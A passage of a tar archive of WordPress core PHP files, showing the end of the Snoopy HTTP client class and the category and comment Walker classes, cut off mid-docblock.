$this->_framedepth++; } else break; } } return true; break; default: // not a valid protocol $this->error = 'Invalid protocol "'.$URI_PARTS["scheme"].'"\n'; return false; break; } return true; } /*======================================================================*\ Function: fetchlinks Purpose: fetch the links from a web page Input: $URI where you are fetching from Output: $this->results an array of the URLs \*======================================================================*/ function fetchlinks($URI) { if ($this->fetch($URI)) { if($this->lastredirectaddr) $URI = $this->lastredirectaddr; if(is_array($this->results)) { for($x=0;$x<count($this->results);$x++) $this->results[$x] = $this->_striplinks($this->results[$x]); } else $this->results = $this->_striplinks($this->results); if($this->expandlinks) $this->results = $this->_expandlinks($this->results, $URI); return true; } else return false; } /*======================================================================*\ Function: fetchform Purpose: fetch the form elements from a web page Input: $URI where you are fetching from Output: $this->results the resulting html form \*======================================================================*/ function fetchform($URI) { if ($this->fetch($URI)) { if(is_array($this->results)) { for($x=0;$x<count($this->results);$x++) $this->results[$x] = $this->_stripform($this->results[$x]); } else $this->results = $this->_stripform($this->results); return true; } else return false; } /*======================================================================*\ Function: fetchtext Purpose: fetch the text from a web page, stripping the links Input: $URI where you are fetching from Output: $this->results the text from the web page \*======================================================================*/ function fetchtext($URI) { if($this->fetch($URI)) { if(is_array($this->results)) { for($x=0;$x<count($this->results);$x++) $this->results[$x] = $this->_striptext($this->results[$x]); } else $this->results = $this->_striptext($this->results); return true; } else return false; } /*======================================================================*\ Function: submitlinks Purpose: grab links from a form submission Input: $URI where you are submitting from Output: $this->results an array of the links from the post \*======================================================================*/ function submitlinks($URI, $formvars="", $formfiles="") { if($this->submit($URI,$formvars, $formfiles)) { if($this->lastredirectaddr) $URI = $this->lastredirectaddr; if(is_array($this->results)) { for($x=0;$x<count($this->results);$x++) { $this->results[$x] = $this->_striplinks($this->results[$x]); if($this->expandlinks) $this->results[$x] = $this->_expandlinks($this->results[$x],$URI); } } else { $this->results = $this->_striplinks($this->results); if($this->expandlinks) $this->results = $this->_expandlinks($this->results,$URI); } return true; } else return false; } /*======================================================================*\ Function: submittext Purpose: grab text from a form submission Input: $URI where you are submitting from Output: $this->results the text from the web page \*======================================================================*/ function submittext($URI, $formvars = "", $formfiles = "") { if($this->submit($URI,$formvars, $formfiles)) { if($this->lastredirectaddr) $URI = $this->lastredirectaddr; if(is_array($this->results)) { for($x=0;$x<count($this->results);$x++) { $this->results[$x] = $this->_striptext($this->results[$x]); if($this->expandlinks) $this->results[$x] = $this->_expandlinks($this->results[$x],$URI); } } else { $this->results = $this->_striptext($this->results); if($this->expandlinks) $this->results = $this->_expandlinks($this->results,$URI); } return true; } else return false; } /*======================================================================*\ Function: set_submit_multipart Purpose: Set the form submission content type to multipart/form-data \*======================================================================*/ function set_submit_multipart() { $this->_submit_type = "multipart/form-data"; } /*======================================================================*\ Function: set_submit_normal Purpose: Set the form submission content type to application/x-www-form-urlencoded \*======================================================================*/ function set_submit_normal() { $this->_submit_type = "application/x-www-form-urlencoded"; } /*======================================================================*\ Private functions \*======================================================================*/ /*======================================================================*\ Function: _striplinks Purpose: strip the hyperlinks from an html document Input: $document document to strip. Output: $match an array of the links \*======================================================================*/ function _striplinks($document) { preg_match_all("'<\s*a\s.*?href\s*=\s* # find <a href= ([\"\'])? # find single or double quote (?(1) (.*?)\\1 | ([^\s\>]+)) # if quote found, match up to next matching # quote, otherwise match up to next space 'isx",$document,$links); // catenate the non-empty matches from the conditional subpattern foreach ( $links[2] as $key => $val ) { if(!empty($val)) $match[] = $val; } foreach ( $links[3] as $key => $val ) { if(!empty($val)) $match[] = $val; } // return the links return $match; } /*======================================================================*\ Function: _stripform Purpose: strip the form elements from an html document Input: $document document to strip. Output: $match an array of the links \*======================================================================*/ function _stripform($document) { preg_match_all("'<\/?(FORM|INPUT|SELECT|TEXTAREA|(OPTION))[^<>]*>(?(2)(.*(?=<\/?(option|select)[^<>]*>[\r\n]*)|(?=[\r\n]*))|(?=[\r\n]*))'Usi",$document,$elements); // catenate the matches $match = implode("\r\n",$elements[0]); // return the links return $match; } /*======================================================================*\ Function: _striptext Purpose: strip the text from an html document Input: $document document to strip. Output: $text the resulting text \*======================================================================*/ function _striptext($document) { // I didn't use preg eval (//e) since that is only available in PHP 4.0. // so, list your entities one by one here. I included some of the // more common ones. $search = array("'<script[^>]*?>.*?</script>'si", // strip out javascript "'<[\/\!]*?[^<>]*?>'si", // strip out html tags "'([\r\n])[\s]+'", // strip out white space "'&(quot|#34|#034|#x22);'i", // replace html entities "'&(amp|#38|#038|#x26);'i", // added hexadecimal values "'&(lt|#60|#060|#x3c);'i", "'&(gt|#62|#062|#x3e);'i", "'&(nbsp|#160|#xa0);'i", "'&(iexcl|#161);'i", "'&(cent|#162);'i", "'&(pound|#163);'i", "'&(copy|#169);'i", "'&(reg|#174);'i", "'&(deg|#176);'i", "'&(#39|#039|#x27);'", "'&(euro|#8364);'i", // europe "'&a(uml|UML);'", // german "'&o(uml|UML);'", "'&u(uml|UML);'", "'&A(uml|UML);'", "'&O(uml|UML);'", "'&U(uml|UML);'", "'ß'i", ); $replace = array( "", "", "\\1", "\"", "&", "<", ">", " ", chr(161), chr(162), chr(163), chr(169), chr(174), chr(176), chr(39), chr(128), chr(0xE4), // ANSI ä chr(0xF6), // ANSI ö chr(0xFC), // ANSI ü chr(0xC4), // ANSI Ä chr(0xD6), // ANSI Ö chr(0xDC), // ANSI Ü chr(0xDF), // ANSI ß ); $text = preg_replace($search,$replace,$document); return $text; } /*======================================================================*\ Function: _expandlinks Purpose: expand each link into a fully qualified URL Input: $links the links to qualify $URI the full URI to get the base from Output: $expandedLinks the expanded links \*======================================================================*/ function _expandlinks($links,$URI) { preg_match("/^[^\?]+/",$URI,$match); $match = preg_replace("|/[^\/\.]+\.[^\/\.]+$|","",$match[0]); $match = preg_replace("|/$|","",$match); $match_part = parse_url($match); $match_root = $match_part["scheme"]."://".$match_part["host"]; $search = array( "|^http://".preg_quote($this->host)."|i", "|^(\/)|i", "|^(?!http://)(?!mailto:)|i", "|/\./|", "|/[^\/]+/\.\./|" ); $replace = array( "", $match_root."/", $match."/", "/", "/" ); $expandedLinks = preg_replace($search,$replace,$links); return $expandedLinks; } /*======================================================================*\ Function: _httprequest Purpose: go get the http data from the server Input: $url the url to fetch $fp the current open file pointer $URI the full URI $body body contents to send if any (POST) Output: \*======================================================================*/ function _httprequest($url,$fp,$URI,$http_method,$content_type="",$body="") { $cookie_headers = ''; if($this->passcookies && $this->_redirectaddr) $this->setcookies(); $URI_PARTS = parse_url($URI); if(empty($url)) $url = "/"; $headers = $http_method." ".$url." ".$this->_httpversion."\r\n"; if(!empty($this->agent)) $headers .= "User-Agent: ".$this->agent."\r\n"; if(!empty($this->host) && !isset($this->rawheaders['Host'])) { $headers .= "Host: ".$this->host; if(!empty($this->port) && $this->port != 80) $headers .= ":".$this->port; $headers .= "\r\n"; } if(!empty($this->accept)) $headers .= "Accept: ".$this->accept."\r\n"; if(!empty($this->referer)) $headers .= "Referer: ".$this->referer."\r\n"; if(!empty($this->cookies)) { if(!is_array($this->cookies)) $this->cookies = (array)$this->cookies; reset($this->cookies); if ( count($this->cookies) > 0 ) { $cookie_headers .= 'Cookie: '; foreach ( $this->cookies as $cookieKey => $cookieVal ) { $cookie_headers .= $cookieKey."=".urlencode($cookieVal)."; "; } $headers .= substr($cookie_headers,0,-2) . "\r\n"; } } if(!empty($this->rawheaders)) { if(!is_array($this->rawheaders)) $this->rawheaders = (array)$this->rawheaders; foreach ( $this->rawheaders as $headerKey => $headerVal ) $headers .= $headerKey.": ".$headerVal."\r\n"; } if(!empty($content_type)) { $headers .= "Content-type: $content_type"; if ($content_type == "multipart/form-data") $headers .= "; boundary=".$this->_mime_boundary; $headers .= "\r\n"; } if(!empty($body)) $headers .= "Content-length: ".strlen($body)."\r\n"; if(!empty($this->user) || !empty($this->pass)) $headers .= "Authorization: Basic ".base64_encode($this->user.":".$this->pass)."\r\n"; //add proxy auth headers if(!empty($this->proxy_user)) $headers .= 'Proxy-Authorization: ' . 'Basic ' . base64_encode($this->proxy_user . ':' . $this->proxy_pass)."\r\n"; $headers .= "\r\n"; // set the read timeout if needed if ($this->read_timeout > 0) socket_set_timeout($fp, $this->read_timeout); $this->timed_out = false; fwrite($fp,$headers.$body,strlen($headers.$body)); $this->_redirectaddr = false; unset($this->headers); while($currentHeader = fgets($fp,$this->_maxlinelen)) { if ($this->read_timeout > 0 && $this->_check_timeout($fp)) { $this->status=-100; return false; } if($currentHeader == "\r\n") break; // if a header begins with Location: or URI:, set the redirect if(preg_match("/^(Location:|URI:)/i",$currentHeader)) { // get URL portion of the redirect preg_match("/^(Location:|URI:)[ ]+(.*)/i",chop($currentHeader),$matches); // look for :// in the Location header to see if hostname is included if(!preg_match("|\:\/\/|",$matches[2])) { // no host in the path, so prepend $this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port; // eliminate double slash if(!preg_match("|^/|",$matches[2])) $this->_redirectaddr .= "/".$matches[2]; else $this->_redirectaddr .= $matches[2]; } else $this->_redirectaddr = $matches[2]; } if(preg_match("|^HTTP/|",$currentHeader)) { if(preg_match("|^HTTP/[^\s]*\s(.*?)\s|",$currentHeader, $status)) { $this->status= $status[1]; } $this->response_code = $currentHeader; } $this->headers[] = $currentHeader; } $results = ''; do { $_data = fread($fp, $this->maxlength); if (strlen($_data) == 0) { break; } $results .= $_data; } while(true); if ($this->read_timeout > 0 && $this->_check_timeout($fp)) { $this->status=-100; return false; } // check if there is a redirect meta tag if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match)) { $this->_redirectaddr = $this->_expandlinks($match[1],$URI); } // have we hit our frame depth and is there frame src to fetch? if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match)) { $this->results[] = $results; for($x=0; $x<count($match[1]); $x++) $this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host); } // have we already fetched framed content? elseif(is_array($this->results)) $this->results[] = $results; // no framed content else $this->results = $results; return true; } /*======================================================================*\ Function: _httpsrequest Purpose: go get the https data from the server using curl Input: $url the url to fetch $URI the full URI $body body contents to send if any (POST) Output: \*======================================================================*/ function _httpsrequest($url,$URI,$http_method,$content_type="",$body="") { if($this->passcookies && $this->_redirectaddr) $this->setcookies(); $headers = array(); $URI_PARTS = parse_url($URI); if(empty($url)) $url = "/"; // GET ... header not needed for curl //$headers[] = $http_method." ".$url." ".$this->_httpversion; if(!empty($this->agent)) $headers[] = "User-Agent: ".$this->agent; if(!empty($this->host)) if(!empty($this->port)) $headers[] = "Host: ".$this->host.":".$this->port; else $headers[] = "Host: ".$this->host; if(!empty($this->accept)) $headers[] = "Accept: ".$this->accept; if(!empty($this->referer)) $headers[] = "Referer: ".$this->referer; if(!empty($this->cookies)) { if(!is_array($this->cookies)) $this->cookies = (array)$this->cookies; reset($this->cookies); if ( count($this->cookies) > 0 ) { $cookie_str = 'Cookie: '; foreach ( $this->cookies as $cookieKey => $cookieVal ) { $cookie_str .= $cookieKey."=".urlencode($cookieVal)."; "; } $headers[] = substr($cookie_str,0,-2); } } if(!empty($this->rawheaders)) { if(!is_array($this->rawheaders)) $this->rawheaders = (array)$this->rawheaders; foreach ( $this->rawheaders as $headerKey => $headerVal ) $headers[] = $headerKey.": ".$headerVal; } if(!empty($content_type)) { if ($content_type == "multipart/form-data") $headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary; else $headers[] = "Content-type: $content_type"; } if(!empty($body)) $headers[] = "Content-length: ".strlen($body); if(!empty($this->user) || !empty($this->pass)) $headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass); $headerfile = tempnam( $this->temp_dir, "sno" ); $cmdline_params = '-k -D ' . escapeshellarg( $headerfile ); foreach ( $headers as $header ) { $cmdline_params .= ' -H ' . escapeshellarg( $header ); } if ( ! empty( $body ) ) { $cmdline_params .= ' -d ' . escapeshellarg( $body ); } if ( $this->read_timeout > 0 ) { $cmdline_params .= ' -m ' . escapeshellarg( $this->read_timeout ); } exec( $this->curl_path . ' ' . $cmdline_params . ' ' . escapeshellarg( $URI ), $results, $return ); if($return) { $this->error = "Error: cURL could not retrieve the document, error $return."; return false; } $results = implode("\r\n",$results); $result_headers = file("$headerfile"); $this->_redirectaddr = false; unset($this->headers); for($currentHeader = 0; $currentHeader < count($result_headers); $currentHeader++) { // if a header begins with Location: or URI:, set the redirect if(preg_match("/^(Location: |URI: )/i",$result_headers[$currentHeader])) { // get URL portion of the redirect preg_match("/^(Location: |URI:)\s+(.*)/",chop($result_headers[$currentHeader]),$matches); // look for :// in the Location header to see if hostname is included if(!preg_match("|\:\/\/|",$matches[2])) { // no host in the path, so prepend $this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port; // eliminate double slash if(!preg_match("|^/|",$matches[2])) $this->_redirectaddr .= "/".$matches[2]; else $this->_redirectaddr .= $matches[2]; } else $this->_redirectaddr = $matches[2]; } if(preg_match("|^HTTP/|",$result_headers[$currentHeader])) $this->response_code = $result_headers[$currentHeader]; $this->headers[] = $result_headers[$currentHeader]; } // check if there is a redirect meta tag if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match)) { $this->_redirectaddr = $this->_expandlinks($match[1],$URI); } // have we hit our frame depth and is there frame src to fetch? if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match)) { $this->results[] = $results; for($x=0; $x<count($match[1]); $x++) $this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host); } // have we already fetched framed content? elseif(is_array($this->results)) $this->results[] = $results; // no framed content else $this->results = $results; unlink("$headerfile"); return true; } /*======================================================================*\ Function: setcookies() Purpose: set cookies for a redirection \*======================================================================*/ function setcookies() { for($x=0; $x<count($this->headers); $x++) { if(preg_match('/^set-cookie:[\s]+([^=]+)=([^;]+)/i', $this->headers[$x],$match)) $this->cookies[$match[1]] = urldecode($match[2]); } } /*======================================================================*\ Function: _check_timeout Purpose: checks whether timeout has occurred Input: $fp file pointer \*======================================================================*/ function _check_timeout($fp) { if ($this->read_timeout > 0) { $fp_status = socket_get_status($fp); if ($fp_status["timed_out"]) { $this->timed_out = true; return true; } } return false; } /*======================================================================*\ Function: _connect Purpose: make a socket connection Input: $fp file pointer \*======================================================================*/ function _connect(&$fp) { if(!empty($this->proxy_host) && !empty($this->proxy_port)) { $this->_isproxy = true; $host = $this->proxy_host; $port = $this->proxy_port; } else { $host = $this->host; $port = $this->port; } $this->status = 0; if($fp = fsockopen( $host, $port, $errno, $errstr, $this->_fp_timeout )) { // socket connection succeeded return true; } else { // socket connection failed $this->status = $errno; switch($errno) { case -3: $this->error="socket creation failed (-3)"; case -4: $this->error="dns lookup failure (-4)"; case -5: $this->error="connection refused or timed out (-5)"; default: $this->error="connection failed (".$errno.")"; } return false; } } /*======================================================================*\ Function: _disconnect Purpose: disconnect a socket connection Input: $fp file pointer \*======================================================================*/ function _disconnect($fp) { return(fclose($fp)); } /*======================================================================*\ Function: _prepare_post_body Purpose: Prepare post body according to encoding type Input: $formvars - form variables $formfiles - form upload files Output: post body \*======================================================================*/ function _prepare_post_body($formvars, $formfiles) { settype($formvars, "array"); settype($formfiles, "array"); $postdata = ''; if (count($formvars) == 0 && count($formfiles) == 0) return; switch ($this->_submit_type) { case "application/x-www-form-urlencoded": reset($formvars); foreach ( $formvars as $key => $val ) { if (is_array($val) || is_object($val)) { foreach ( $val as $cur_key => $cur_val ) { $postdata .= urlencode($key)."[]=".urlencode($cur_val)."&"; } } else $postdata .= urlencode($key)."=".urlencode($val)."&"; } break; case "multipart/form-data": $this->_mime_boundary = "Snoopy".md5(uniqid(microtime())); reset($formvars); foreach ( $formvars as $key => $val ) { if (is_array($val) || is_object($val)) { foreach ( $val as $cur_key => $cur_val ) { $postdata .= "--".$this->_mime_boundary."\r\n"; $postdata .= "Content-Disposition: form-data; name=\"$key\[\]\"\r\n\r\n"; $postdata .= "$cur_val\r\n"; } } else { $postdata .= "--".$this->_mime_boundary."\r\n"; $postdata .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n"; $postdata .= "$val\r\n"; } } reset($formfiles); foreach ( $formfiles as $field_name => $file_names ) { settype($file_names, "array"); foreach ( $file_names as $file_name ) { if (!is_readable($file_name)) continue; $fp = fopen($file_name, "r"); $file_content = fread($fp, filesize($file_name)); fclose($fp); $base_name = basename($file_name); $postdata .= "--".$this->_mime_boundary."\r\n"; $postdata .= "Content-Disposition: form-data; name=\"$field_name\"; filename=\"$base_name\"\r\n\r\n"; $postdata .= "$file_content\r\n"; } } $postdata .= "--".$this->_mime_boundary."--\r\n"; break; } return $postdata; } } endif; ?> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-walker-category-dropdown.php������������������������������������������������������������������0000644�����������������00000004125�15120262030�0013303 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Taxonomy API: Walker_CategoryDropdown class * * @package WordPress * @subpackage Template * @since 4.4.0 */ /** * Core class used to create an HTML dropdown list of Categories. * * @since 2.1.0 * * @see Walker */ class Walker_CategoryDropdown extends Walker { /** * What the class handles. * * @since 2.1.0 * @var string * * @see Walker::$tree_type */ public $tree_type = 'category'; /** * Database fields to use. * * @since 2.1.0 * @todo Decouple this * @var array * * @see Walker::$db_fields */ public $db_fields = array( 'parent' => 'parent', 'id' => 'term_id', ); /** * Starts the element output. * * @since 2.1.0 * * @see Walker::start_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Term $category Category data object. * @param int $depth Depth of category. Used for padding. * @param array $args Uses 'selected', 'show_count', and 'value_field' keys, if they exist. * See wp_dropdown_categories(). * @param int $id Optional. ID of the current category. Default 0 (unused). */ public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) { $pad = str_repeat( ' ', $depth * 3 ); /** This filter is documented in wp-includes/category-template.php */ $cat_name = apply_filters( 'list_cats', $category->name, $category ); if ( isset( $args['value_field'] ) && isset( $category->{$args['value_field']} ) ) { $value_field = $args['value_field']; } else { $value_field = 'term_id'; } $output .= "\t<option class=\"level-$depth\" value=\"" . esc_attr( $category->{$value_field} ) . '"'; // Type-juggling causes false matches, so we force everything to a string. if ( (string) $category->{$value_field} === (string) $args['selected'] ) { $output .= ' selected="selected"'; } $output .= '>'; $output .= $pad . $cat_name; if ( $args['show_count'] ) { $output .= '  (' . number_format_i18n( $category->count ) . ')'; } $output .= "</option>\n"; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-walker-category.php���������������������������������������������������������������������������0000644�����������������00000017325�15120262030�0011457 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Taxonomy API: Walker_Category class * * @package WordPress * @subpackage Template * @since 4.4.0 */ /** * Core class used to create an HTML list of categories. * * @since 2.1.0 * * @see Walker */ class Walker_Category extends Walker { /** * What the class handles. * * @since 2.1.0 * @var string * * @see Walker::$tree_type */ public $tree_type = 'category'; /** * Database fields to use. * * @since 2.1.0 * @var array * * @see Walker::$db_fields * @todo Decouple this */ public $db_fields = array( 'parent' => 'parent', 'id' => 'term_id', ); /** * Starts the list before the elements are added. * * @since 2.1.0 * * @see Walker::start_lvl() * * @param string $output Used to append additional content. Passed by reference. * @param int $depth Optional. Depth of category. Used for tab indentation. Default 0. * @param array $args Optional. An array of arguments. Will only append content if style argument * value is 'list'. See wp_list_categories(). Default empty array. */ public function start_lvl( &$output, $depth = 0, $args = array() ) { if ( 'list' !== $args['style'] ) { return; } $indent = str_repeat( "\t", $depth ); $output .= "$indent<ul class='children'>\n"; } /** * Ends the list of after the elements are added. * * @since 2.1.0 * * @see Walker::end_lvl() * * @param string $output Used to append additional content. Passed by reference. * @param int $depth Optional. Depth of category. Used for tab indentation. Default 0. * @param array $args Optional. An array of arguments. Will only append content if style argument * value is 'list'. See wp_list_categories(). Default empty array. */ public function end_lvl( &$output, $depth = 0, $args = array() ) { if ( 'list' !== $args['style'] ) { return; } $indent = str_repeat( "\t", $depth ); $output .= "$indent</ul>\n"; } /** * Starts the element output. * * @since 2.1.0 * * @see Walker::start_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Term $category Category data object. * @param int $depth Optional. Depth of category in reference to parents. Default 0. * @param array $args Optional. An array of arguments. See wp_list_categories(). Default empty array. * @param int $id Optional. ID of the current category. Default 0. */ public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) { /** This filter is documented in wp-includes/category-template.php */ $cat_name = apply_filters( 'list_cats', esc_attr( $category->name ), $category ); // Don't generate an element if the category name is empty. if ( '' === $cat_name ) { return; } $atts = array(); $atts['href'] = get_term_link( $category ); if ( $args['use_desc_for_title'] && ! empty( $category->description ) ) { /** * Filters the category description for display. * * @since 1.2.0 * * @param string $description Category description. * @param WP_Term $category Category object. */ $atts['title'] = strip_tags( apply_filters( 'category_description', $category->description, $category ) ); } /** * Filters the HTML attributes applied to a category list item's anchor element. * * @since 5.2.0 * * @param array $atts { * The HTML attributes applied to the list item's `<a>` element, empty strings are ignored. * * @type string $href The href attribute. * @type string $title The title attribute. * } * @param WP_Term $category Term data object. * @param int $depth Depth of category, used for padding. * @param array $args An array of arguments. * @param int $id ID of the current category. */ $atts = apply_filters( 'category_list_link_attributes', $atts, $category, $depth, $args, $id ); $attributes = ''; foreach ( $atts as $attr => $value ) { if ( is_scalar( $value ) && '' !== $value && false !== $value ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); $attributes .= ' ' . $attr . '="' . $value . '"'; } } $link = sprintf( '<a%s>%s</a>', $attributes, $cat_name ); if ( ! empty( $args['feed_image'] ) || ! empty( $args['feed'] ) ) { $link .= ' '; if ( empty( $args['feed_image'] ) ) { $link .= '('; } $link .= '<a href="' . esc_url( get_term_feed_link( $category->term_id, $category->taxonomy, $args['feed_type'] ) ) . '"'; if ( empty( $args['feed'] ) ) { /* translators: %s: Category name. */ $alt = ' alt="' . sprintf( __( 'Feed for all posts filed under %s' ), $cat_name ) . '"'; } else { $alt = ' alt="' . $args['feed'] . '"'; $name = $args['feed']; $link .= empty( $args['title'] ) ? '' : $args['title']; } $link .= '>'; if ( empty( $args['feed_image'] ) ) { $link .= $name; } else { $link .= "<img src='" . esc_url( $args['feed_image'] ) . "'$alt" . ' />'; } $link .= '</a>'; if ( empty( $args['feed_image'] ) ) { $link .= ')'; } } if ( ! empty( $args['show_count'] ) ) { $link .= ' (' . number_format_i18n( $category->count ) . ')'; } if ( 'list' === $args['style'] ) { $output .= "\t<li"; $css_classes = array( 'cat-item', 'cat-item-' . $category->term_id, ); if ( ! empty( $args['current_category'] ) ) { // 'current_category' can be an array, so we use `get_terms()`. $_current_terms = get_terms( array( 'taxonomy' => $category->taxonomy, 'include' => $args['current_category'], 'hide_empty' => false, ) ); foreach ( $_current_terms as $_current_term ) { if ( $category->term_id == $_current_term->term_id ) { $css_classes[] = 'current-cat'; $link = str_replace( '<a', '<a aria-current="page"', $link ); } elseif ( $category->term_id == $_current_term->parent ) { $css_classes[] = 'current-cat-parent'; } while ( $_current_term->parent ) { if ( $category->term_id == $_current_term->parent ) { $css_classes[] = 'current-cat-ancestor'; break; } $_current_term = get_term( $_current_term->parent, $category->taxonomy ); } } } /** * Filters the list of CSS classes to include with each category in the list. * * @since 4.2.0 * * @see wp_list_categories() * * @param string[] $css_classes An array of CSS classes to be applied to each list item. * @param WP_Term $category Category data object. * @param int $depth Depth of page, used for padding. * @param array $args An array of wp_list_categories() arguments. */ $css_classes = implode( ' ', apply_filters( 'category_css_class', $css_classes, $category, $depth, $args ) ); $css_classes = $css_classes ? ' class="' . esc_attr( $css_classes ) . '"' : ''; $output .= $css_classes; $output .= ">$link\n"; } elseif ( isset( $args['separator'] ) ) { $output .= "\t$link" . $args['separator'] . "\n"; } else { $output .= "\t$link<br />\n"; } } /** * Ends the element output, if needed. * * @since 2.1.0 * * @see Walker::end_el() * * @param string $output Used to append additional content (passed by reference). * @param object $page Not used. * @param int $depth Optional. Depth of category. Not used. * @param array $args Optional. An array of arguments. Only uses 'list' for whether should append * to output. See wp_list_categories(). Default empty array. */ public function end_el( &$output, $page, $depth = 0, $args = array() ) { if ( 'list' !== $args['style'] ) { return; } $output .= "</li>\n"; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-walker-comment.php����������������������������������������������������������������������������0000644�����������������00000032645�15120262030�0011306 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Comment API: Walker_Comment class * * @package WordPress * @subpackage Comments * @since 4.4.0 */ /** * Core walker class used to create an HTML list of comments. * * @since 2.7.0 * * @see Walker */ class Walker_Comment extends Walker { /** * What the class handles. * * @since 2.7.0 * @var string * * @see Walker::$tree_type */ public $tree_type = 'comment'; /** * Database fields to use. * * @since 2.7.0 * @var array * * @see Walker::$db_fields * @todo Decouple this */ public $db_fields = array( 'parent' => 'comment_parent', 'id' => 'comment_ID', ); /** * Starts the list before the elements are added. * * @since 2.7.0 * * @see Walker::start_lvl() * @global int $comment_depth * * @param string $output Used to append additional content (passed by reference). * @param int $depth Optional. Depth of the current comment. Default 0. * @param array $args Optional. Uses 'style' argument for type of HTML list. Default empty array. */ public function start_lvl( &$output, $depth = 0, $args = array() ) { $GLOBALS['comment_depth'] = $depth + 1; switch ( $args['style'] ) { case 'div': break; case 'ol': $output .= '<ol class="children">' . "\n"; break; case 'ul': default: $output .= '<ul class="children">' . "\n"; break; } } /** * Ends the list of items after the elements are added. * * @since 2.7.0 * * @see Walker::end_lvl() * @global int $comment_depth * * @param string $output Used to append additional content (passed by reference). * @param int $depth Optional. Depth of the current comment. Default 0. * @param array $args Optional. Will only append content if style argument value is 'ol' or 'ul'. * Default empty array. */ public function end_lvl( &$output, $depth = 0, $args = array() ) { $GLOBALS['comment_depth'] = $depth + 1; switch ( $args['style'] ) { case 'div': break; case 'ol': $output .= "</ol><!-- .children -->\n"; break; case 'ul': default: $output .= "</ul><!-- .children -->\n"; break; } } /** * Traverses elements to create list from elements. * * This function is designed to enhance Walker::display_element() to * display children of higher nesting levels than selected inline on * the highest depth level displayed. This prevents them being orphaned * at the end of the comment list. * * Example: max_depth = 2, with 5 levels of nested content. * 1 * 1.1 * 1.1.1 * 1.1.1.1 * 1.1.1.1.1 * 1.1.2 * 1.1.2.1 * 2 * 2.2 * * @since 2.7.0 * * @see Walker::display_element() * @see wp_list_comments() * * @param WP_Comment $element Comment data object. * @param array $children_elements List of elements to continue traversing. Passed by reference. * @param int $max_depth Max depth to traverse. * @param int $depth Depth of the current element. * @param array $args An array of arguments. * @param string $output Used to append additional content. Passed by reference. */ public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) { if ( ! $element ) { return; } $id_field = $this->db_fields['id']; $id = $element->$id_field; parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output ); /* * If at the max depth, and the current element still has children, loop over those * and display them at this level. This is to prevent them being orphaned to the end * of the list. */ if ( $max_depth <= $depth + 1 && isset( $children_elements[ $id ] ) ) { foreach ( $children_elements[ $id ] as $child ) { $this->display_element( $child, $children_elements, $max_depth, $depth, $args, $output ); } unset( $children_elements[ $id ] ); } } /** * Starts the element output. * * @since 2.7.0 * * @see Walker::start_el() * @see wp_list_comments() * @global int $comment_depth * @global WP_Comment $comment Global comment object. * * @param string $output Used to append additional content. Passed by reference. * @param WP_Comment $comment Comment data object. * @param int $depth Optional. Depth of the current comment in reference to parents. Default 0. * @param array $args Optional. An array of arguments. Default empty array. * @param int $id Optional. ID of the current comment. Default 0 (unused). */ public function start_el( &$output, $comment, $depth = 0, $args = array(), $id = 0 ) { $depth++; $GLOBALS['comment_depth'] = $depth; $GLOBALS['comment'] = $comment; if ( ! empty( $args['callback'] ) ) { ob_start(); call_user_func( $args['callback'], $comment, $args, $depth ); $output .= ob_get_clean(); return; } if ( 'comment' === $comment->comment_type ) { add_filter( 'comment_text', array( $this, 'filter_comment_text' ), 40, 2 ); } if ( ( 'pingback' === $comment->comment_type || 'trackback' === $comment->comment_type ) && $args['short_ping'] ) { ob_start(); $this->ping( $comment, $depth, $args ); $output .= ob_get_clean(); } elseif ( 'html5' === $args['format'] ) { ob_start(); $this->html5_comment( $comment, $depth, $args ); $output .= ob_get_clean(); } else { ob_start(); $this->comment( $comment, $depth, $args ); $output .= ob_get_clean(); } if ( 'comment' === $comment->comment_type ) { remove_filter( 'comment_text', array( $this, 'filter_comment_text' ), 40, 2 ); } } /** * Ends the element output, if needed. * * @since 2.7.0 * * @see Walker::end_el() * @see wp_list_comments() * * @param string $output Used to append additional content. Passed by reference. * @param WP_Comment $comment The current comment object. Default current comment. * @param int $depth Optional. Depth of the current comment. Default 0. * @param array $args Optional. An array of arguments. Default empty array. */ public function end_el( &$output, $comment, $depth = 0, $args = array() ) { if ( ! empty( $args['end-callback'] ) ) { ob_start(); call_user_func( $args['end-callback'], $comment, $args, $depth ); $output .= ob_get_clean(); return; } if ( 'div' === $args['style'] ) { $output .= "</div><!-- #comment-## -->\n"; } else { $output .= "</li><!-- #comment-## -->\n"; } } /** * Outputs a pingback comment. * * @since 3.6.0 * * @see 